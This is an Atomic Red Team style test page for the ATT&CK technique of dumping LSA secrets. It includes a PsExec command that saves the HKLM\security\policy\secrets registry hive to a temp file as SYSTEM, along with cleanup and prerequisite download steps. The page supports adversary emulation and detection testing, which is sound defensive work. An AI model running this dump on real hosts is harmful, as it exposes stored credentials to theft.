T1003.004
OS Credential Dumping: LSA Secrets
Description from ATT&CK
Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)
Reg can be used to extract from the Registry. Mimikatz can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)
Atomic Tests
Atomic Test #1 - Dumping LSA Secrets
Dump secrets key from Windows registry When successful, the dumped file will be written to $env:Temp\secrets. Attackers may use the secrets key to assist with extracting passwords and enumerating other sensitive system information. https://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/#:~:text=LSA%20Secrets%20is%20a%20registry,host%2C%20local%20security%20policy%20etc.
Supported Platforms: windows
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Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| psexec_exe | Path to PsExec executable | path | PathToAtomicsFolder..\ExternalPayloads\T1003.004\bin\PsExec.exe |
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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"#{psexec_exe}" -accepteula -s reg save HKLM\security\policy\secrets %temp%\secrets /y
Cleanup Commands:
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del %temp%\secrets >nul 2> nul
Dependencies: Run with powershell!
Description: PsExec from Sysinternals must exist on disk at specified location (#{psexec_exe}) Check Prereq Commands:
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if (Test-Path "#{psexec_exe}") {exit 0} else {exit 1}
Get Prereq Commands:
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Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PSTools.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PSTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PSTools" -Force
New-Item -ItemType Directory (Split-Path "#{psexec_exe}") -Force | Out-Null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PSTools\PsExec.exe" "#{psexec_exe}" -Force